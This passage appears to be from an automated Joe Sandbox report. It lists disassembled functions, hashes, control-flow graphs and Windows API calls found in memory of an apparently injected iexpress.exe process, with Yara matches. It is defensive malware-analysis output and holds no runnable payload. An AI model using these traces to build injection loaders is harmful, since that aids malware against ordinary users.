                                                          • Instruction Fuzzy Hash: 2C900222211C0052D20075684D54B07001587D0303FA5D115A0155554CCA5989615921
                                                          Function 05132E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: c3a8e4f97bd8788aeee576c5b8bf7f5e61ddc3b9dc03542acbb79dfb810fef20
                                                          • Instruction ID: 2049bbc7c69869fe76cedfbaa0c1d83a9d73467efd3360ed0ea75e6a0e876799
                                                          • Opcode Fuzzy Hash: c3a8e4f97bd8788aeee576c5b8bf7f5e61ddc3b9dc03542acbb79dfb810fef20
                                                          • Instruction Fuzzy Hash: 6890022260140512D10171584544616001A87D0241FE5D022A1025555ECB698A92A531
                                                          Function 05132EE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 5b6d1bcd741c951541ea99afcf06426ab0c0f7db2d81e277dd947079e68d2c7a
                                                          • Instruction ID: b6b773b5d2396b6eac19ba96fcc47cb0686dbd01a2668d9f1d89744bc701ba5d
                                                          • Opcode Fuzzy Hash: 5b6d1bcd741c951541ea99afcf06426ab0c0f7db2d81e277dd947079e68d2c7a
                                                          • Instruction Fuzzy Hash: CB90026220180413D14075584944607001587D0302FA5D011A2065555E8B6D8D516535
                                                          Function 05132B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: ad846bc2403e336674fb625d7620bcbc021f47df5a9cb3fc93511826039337d6
                                                          • Instruction ID: 7c553bd642063ed91916734cdb97a72d9cb51974ca6923beb4c52fbca0f679cc
                                                          • Opcode Fuzzy Hash: ad846bc2403e336674fb625d7620bcbc021f47df5a9cb3fc93511826039337d6
                                                          • Instruction Fuzzy Hash: 9A90026220240013410571584554616401A87E0201BA5D021E1015590DC66989916525
                                                          Function 05132BA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: dfd0ddfeca71907a164d1a8acda923701a4ac1c7dc6d42b16204eb3e5376546f
                                                          • Instruction ID: c0db3a9c6fa07d53d36a6d0b0624d20b6678ec52ee3797b92458732ed73d4996
                                                          • Opcode Fuzzy Hash: dfd0ddfeca71907a164d1a8acda923701a4ac1c7dc6d42b16204eb3e5376546f
                                                          • Instruction Fuzzy Hash: 9C90023260540812D15071584554746001587D0301FA5D011A0025654D87998B557AA1
                                                          Function 05132BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 7cc6d3083f24efc63fcc47e296791ecd60fefc608d14a4364d248ce2e324d351
                                                          • Instruction ID: 78ee37e9b09d745b9c84a9cb58e81bcbb248a9ece99ee0287b402393f51b4f93
                                                          • Opcode Fuzzy Hash: 7cc6d3083f24efc63fcc47e296791ecd60fefc608d14a4364d248ce2e324d351
                                                          • Instruction Fuzzy Hash: 7290023220140812D1807158454464A001587D1301FE5D015A0026654DCB598B597BA1
                                                          Function 05132BE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: f0de105357d54cfdccdf266c0ccf342242485396b8bbb2605cd4e1aef94d6b71
                                                          • Instruction ID: ae2e927b8acf65ec0cec666cc3afdfb55c2606dd1831bbafb7b1f5c4bd69eec7
                                                          • Opcode Fuzzy Hash: f0de105357d54cfdccdf266c0ccf342242485396b8bbb2605cd4e1aef94d6b71
                                                          • Instruction Fuzzy Hash: 5890023220544852D14071584544A46002587D0305FA5D011A0065694D97698E55BA61
                                                          Function 05132AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 18e2407e428373abe5047380dd3047b012dd82da1d717919d8bb716f4695d969
                                                          • Instruction ID: 259eee584825e15a2e8d752322953ae2a93b3630f53fd3ee31d906b912122a00
                                                          • Opcode Fuzzy Hash: 18e2407e428373abe5047380dd3047b012dd82da1d717919d8bb716f4695d969
                                                          • Instruction Fuzzy Hash: 29900437311400130105F55C07445070057C7D53513F5D031F1017550CD775CD715531
                                                          Function 05132AF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 74bdf076073a99148c9364025e09b71d41dd077362bec01d0e76583f87858367
                                                          • Instruction ID: a0a60b6646dd31d554a8ba3a8489be6b2b62361380004549e2582f87cda5953c
                                                          • Opcode Fuzzy Hash: 74bdf076073a99148c9364025e09b71d41dd077362bec01d0e76583f87858367
                                                          • Instruction Fuzzy Hash: 27900226221400120145B558074450B045597D63513E5D015F1417590CC76589655721
                                                          Function 051335C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 686ea8ed42d1408fec3d1eb43dcc1602c4e2207593e8c17dd5edbd8dd3dff2eb
                                                          • Instruction ID: 2f38f79dde6646f59ea9be1a5e2a52dc729ddb270e173cbf83d18266fd0c23cc
                                                          • Opcode Fuzzy Hash: 686ea8ed42d1408fec3d1eb43dcc1602c4e2207593e8c17dd5edbd8dd3dff2eb
                                                          • Instruction Fuzzy Hash: 0090023260550412D10071584654706101587D0201FB5D411A0425568D87D98A5169A2
                                                          Function 051339B0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: e793be63ba09ac01dc45d2c56256e2e77b69a8fc57384c26e1dd98dd57da035a
                                                          • Instruction ID: 3a214ec4403a6f012d0d40ac02e93e77c47e9195dc5c4f554cf65fd792dfc5f3
                                                          • Opcode Fuzzy Hash: e793be63ba09ac01dc45d2c56256e2e77b69a8fc57384c26e1dd98dd57da035a
                                                          • Instruction Fuzzy Hash: 2A90022224545112D150715C45446164015A7E0201FA5D021A0815594D869989556621
                                                          Function 030305F5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 492 30305f5-3030607 493 303066a-3030672 492->493 494 3030609-3030665 492->494 495 3030674-3030683 493->495 496 30306cd-30306d6 493->496 494->493 495->496 497 3030704-303070f 496->497 498 30306d8-30306e7 496->498 499 3030715-303072d call 30340c0 497->499 500 3030710 call 304a630 497->500 503 3030734-303075a call 3040f30 499->503 504 303072f call 3021410 499->504 500->499 507 303077a-3030780 503->507 508 303075c-303076b PostThreadMessageW 503->508 504->503 508->507 509 303076d-3030777 508->509 509->507
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: n200C853$n200C853
                                                          • API String ID: 0-480195095
                                                          • Opcode ID: db7358f41b4df7b7b95a006c6ee729f744caa30391c9a66ba87e8a7ada811c68
                                                          • Instruction ID: f7cdc81d7bdea2eab78f2122e9cfbc46c8164c767020c578f7d18824d2d480a0
                                                          • Opcode Fuzzy Hash: db7358f41b4df7b7b95a006c6ee729f744caa30391c9a66ba87e8a7ada811c68
                                                          • Instruction Fuzzy Hash: AA319D76942218BBDB01C778CC41EEFFBACEFC2240F4441A9E809AF611D2265D038BA1
                                                          Function 03030782 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65threadwindowCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 510 3030782-303078a 511 303072c-303075a call 3021410 call 3040f30 510->511 512 303078c-3030796 510->512 524 303077a-3030780 511->524 525 303075c-303076b PostThreadMessageW 511->525 515 3030798-303079c 512->515 517 30307ba-30307c0 515->517 518 303079e-30307a3 515->518 517->515 521 30307c2-30307c5 517->521 518->517 520 30307a5-30307aa 518->520 520->517 523 30307ac-30307b3 520->523 526 30307c6-30307c9 523->526 527 30307b5-30307b8 523->527 525->524 528 303076d-3030777 525->528 527->517 527->526 528->524
                                                          APIs
                                                          • PostThreadMessageW.USER32(n200C853,00000111,00000000,00000000), ref: 03030767
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: MessagePostThread
                                                          • String ID: n200C853$n200C853
                                                          • API String ID: 1836367815-480195095
                                                          • Opcode ID: 3aaa1ce76d9e6c14a4963afbc129f489f453f6c8633d1ede826133f25f2e149c
                                                          • Instruction ID: 63cc9ea2fdc8612818e577e5066135dd2c8862a5eafdbf908f4f21ed39bafd0b
                                                          • Opcode Fuzzy Hash: 3aaa1ce76d9e6c14a4963afbc129f489f453f6c8633d1ede826133f25f2e149c
                                                          • Instruction Fuzzy Hash: C9118065C1334C39EB30DAB40C80CBBBFED9F465B4B4D8299F9059B291C23289428B50
                                                          Function 030306EB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61threadwindowCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 529 30306eb-303072d call 3049c20 call 304a630 call 30340c0 536 3030734-303075a call 3040f30 529->536 537 303072f call 3021410 529->537 540 303077a-3030780 536->540 541 303075c-303076b PostThreadMessageW 536->541 537->536 541->540 542 303076d-3030777 541->542 542->540
                                                          APIs
                                                          • PostThreadMessageW.USER32(n200C853,00000111,00000000,00000000), ref: 03030767
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: MessagePostThread
                                                          • String ID: n200C853$n200C853
                                                          • API String ID: 1836367815-480195095
                                                          • Opcode ID: ca50b2655ef4bdc9ffa8c2b7d57b399a01852f3d6e1a77045f75ac10906d764f
                                                          • Instruction ID: 7af3ecadda9fe45d213ad59b102cb0f3788f165588c0338f2a2d76b7fbe6a7eb
                                                          • Opcode Fuzzy Hash: ca50b2655ef4bdc9ffa8c2b7d57b399a01852f3d6e1a77045f75ac10906d764f
                                                          • Instruction Fuzzy Hash: F40184B6D4221C7AEB10EBE48C81DEFAF7CDF816A4F058165FA04BB140D6755E068BA1
                                                          Function 030306F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60threadwindowCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 543 30306f0-3030702 544 303070a-303072d call 304a630 call 30340c0 543->544 545 3030705 call 3049c20 543->545 550 3030734-303075a call 3040f30 544->550 551 303072f call 3021410 544->551 545->544 554 303077a-3030780 550->554 555 303075c-303076b PostThreadMessageW 550->555 551->550 555->554 556 303076d-3030777 555->556 556->554
                                                          APIs
                                                          • PostThreadMessageW.USER32(n200C853,00000111,00000000,00000000), ref: 03030767
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: MessagePostThread
                                                          • String ID: n200C853$n200C853
                                                          • API String ID: 1836367815-480195095
                                                          • Opcode ID: 1df88f24b90afcc4594926f5527230bae807f4cda8940213f5781ab961b80936
                                                          • Instruction ID: 3041a90dca86e51954dc2ea8b273fa95856ddef0fddaa7353038d1265e68563a
                                                          • Opcode Fuzzy Hash: 1df88f24b90afcc4594926f5527230bae807f4cda8940213f5781ab961b80936
                                                          • Instruction Fuzzy Hash: 370196B6D4221C7AEB10EBE58C81DEFBB7CDF81694F058065FA047B140D6745E068BB1
                                                          Function 03042810 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 104sleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • Sleep.KERNELBASE(000007D0), ref: 030428DB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Sleep
                                                          • String ID: net.dll$wininet.dll
                                                          • API String ID: 3472027048-1269752229
                                                          • Opcode ID: 667e8292864961ff2f2cef4e06c5e52e2d4c0bf8b88729727e50e5af636dd28b
                                                          • Instruction ID: 8e6a03bfa0adef2b2679a47986588d5142d5def17ce427a5a875981c9d03daf0
                                                          • Opcode Fuzzy Hash: 667e8292864961ff2f2cef4e06c5e52e2d4c0bf8b88729727e50e5af636dd28b
                                                          • Instruction Fuzzy Hash: A4315BB5602705BBD724DF64D880FE7BBACAB88704F00852DAA5D6B245D770BB44CBA4
                                                          Function 0303E886 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 104COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CoInitialize.OLE32(00000000), ref: 0303E8A7
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Initialize
                                                          • String ID: @J7<
                                                          • API String ID: 2538663250-2016760708
                                                          • Opcode ID: 4ba8d37dc4b6debd09f6a8b80bb96a11d73ff14ef687798cf8938fe348cdf079
                                                          • Instruction ID: 366f6957208408a3a65d449bdd1ec32d47dec5740963ab8e5e25514bca57cb5f
                                                          • Opcode Fuzzy Hash: 4ba8d37dc4b6debd09f6a8b80bb96a11d73ff14ef687798cf8938fe348cdf079
                                                          • Instruction Fuzzy Hash: B33152B6A00709AFDB00DFD8C8809EFB3B9BF89304B148559E945AB214D771EE05CBA0
                                                          Function 0303E890 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 101COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CoInitialize.OLE32(00000000), ref: 0303E8A7
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Initialize
                                                          • String ID: @J7<
                                                          • API String ID: 2538663250-2016760708
                                                          • Opcode ID: 916783a5a363b85dc3a7285112344fda26b07995b772f0cadb1b2bd02b04aab5
                                                          • Instruction ID: c85a23d1bc2ff487bfccfc861469807a31c8b3ffe3941dee1ecf05001ca22d8c
                                                          • Opcode Fuzzy Hash: 916783a5a363b85dc3a7285112344fda26b07995b772f0cadb1b2bd02b04aab5
                                                          • Instruction Fuzzy Hash: E1313EB6A0060AAFDB00DFD8C8809EFB7B9BF89304B148559E555EB214D775EE05CBA0
                                                          Function 030340C0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 03034132
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Load
                                                          • String ID:
                                                          • API String ID: 2234796835-0
                                                          • Opcode ID: ebd3c5d2265a916cd2496e5eef1ce8dc7d6870324b8f3176294337ca5bb7e159
                                                          • Instruction ID: 023105343b37c1600497c90d3ba41cf5c81226c33e7e153845ded3d5b8bf130a
                                                          • Opcode Fuzzy Hash: ebd3c5d2265a916cd2496e5eef1ce8dc7d6870324b8f3176294337ca5bb7e159
                                                          • Instruction Fuzzy Hash: 48011EB9E4120DABDB50EBA5DC41FDEB3B89B54208F0481A5E9189B241F631E754CB91
                                                          Function 03048080 Relevance: 1.5, APIs: 1, Instructions: 47processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateProcessInternalW.KERNELBASE(?,?,?,?,030379C3,00000010,?,?,?,00000044,?,00000010,030379C3,?,?,?), ref: 030480E0
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CreateInternalProcess
                                                          • String ID:
                                                          • API String ID: 2186235152-0
                                                          • Opcode ID: fbdf76623c57dcbca3e2b7dbeaecd1ba6ebf692c250979ce1e792b429603bf11
                                                          • Instruction ID: 71e447f5df6d39a9b5dc6f7fd2f7a55181244ff81fa6c1dae08eabdab0c93cc7
                                                          • Opcode Fuzzy Hash: fbdf76623c57dcbca3e2b7dbeaecd1ba6ebf692c250979ce1e792b429603bf11
                                                          • Instruction Fuzzy Hash: 1E0180B6215609BBCB44DE99DC80EEB77ADAF8C754F518118BA09E7240D630F8518BA4
                                                          Function 03029640 Relevance: 1.5, APIs: 1, Instructions: 38threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 03029685
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CreateThread
                                                          • String ID:
                                                          • API String ID: 2422867632-0
                                                          • Opcode ID: 080c26be7cfebe553bde8962b0f605c1ee2fd4ba7541978497a733c504113086
                                                          • Instruction ID: 1b7b0bcdeee5af406ee6fa404b8384de946bf95c64445ef65798a9dd6b0a69b9
                                                          • Opcode Fuzzy Hash: 080c26be7cfebe553bde8962b0f605c1ee2fd4ba7541978497a733c504113086
                                                          • Instruction Fuzzy Hash: 20F0657735231436E360A5A99C02FD7B78C8BC1A61F140035FB0CEF1C0D995F54146A8
                                                          Function 03029638 Relevance: 1.5, APIs: 1, Instructions: 37threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 03029685
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CreateThread
                                                          • String ID:
                                                          • API String ID: 2422867632-0
                                                          • Opcode ID: b032fed95ac2bb5413bc9915bfcce55190dcb6067777302844e8afcb688ab33f
                                                          • Instruction ID: 39b2c44b03bd533b0f1818393f75ba84779f1ef344eb4976d016bd40a051585a
                                                          • Opcode Fuzzy Hash: b032fed95ac2bb5413bc9915bfcce55190dcb6067777302844e8afcb688ab33f
                                                          • Instruction Fuzzy Hash: 47F0E57624231036E270E2998C02FD7B79C9BC0B60F140065FB0CEF1C0E9A5B54187E8
                                                          Function 030340B3 Relevance: 1.5, APIs: 1, Instructions: 30libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 03034132
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Load
                                                          • String ID:
                                                          • API String ID: 2234796835-0
                                                          • Opcode ID: 9d7801c0ce9515cb919edc289ba5345dbbd282d18ee26fd35dda423275999901
                                                          • Instruction ID: 9cca395367b2d900eb023f171b1da584c44d480c283de66255c4f38f0b6e4b76
                                                          • Opcode Fuzzy Hash: 9d7801c0ce9515cb919edc289ba5345dbbd282d18ee26fd35dda423275999901
                                                          • Instruction Fuzzy Hash: C2E0EC75E0110667CB50CBA9CC41F9DB7F8AB45208F048295D59895141E230E645CB91
                                                          Function 03047FA0 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RtlAllocateHeap.NTDLL(?,?,?), ref: 03047FDF
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: AllocateHeap
                                                          • String ID:
                                                          • API String ID: 1279760036-0
                                                          • Opcode ID: feba57d70eb0d8949fecce02056536d74d81ad578c6bc331f687760a0e5e9600
                                                          • Instruction ID: aad374a43b9c0a4dbeb0f2b2c3e458eaffb752cc5a73d6d1761a09fa01d5a50b
                                                          • Opcode Fuzzy Hash: feba57d70eb0d8949fecce02056536d74d81ad578c6bc331f687760a0e5e9600
                                                          • Instruction Fuzzy Hash: 95E065B62003047BD614EE98DC40FEB37ACEFC9B10F004419F919AB242C670BA108BB5
                                                          Function 03047FF0 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
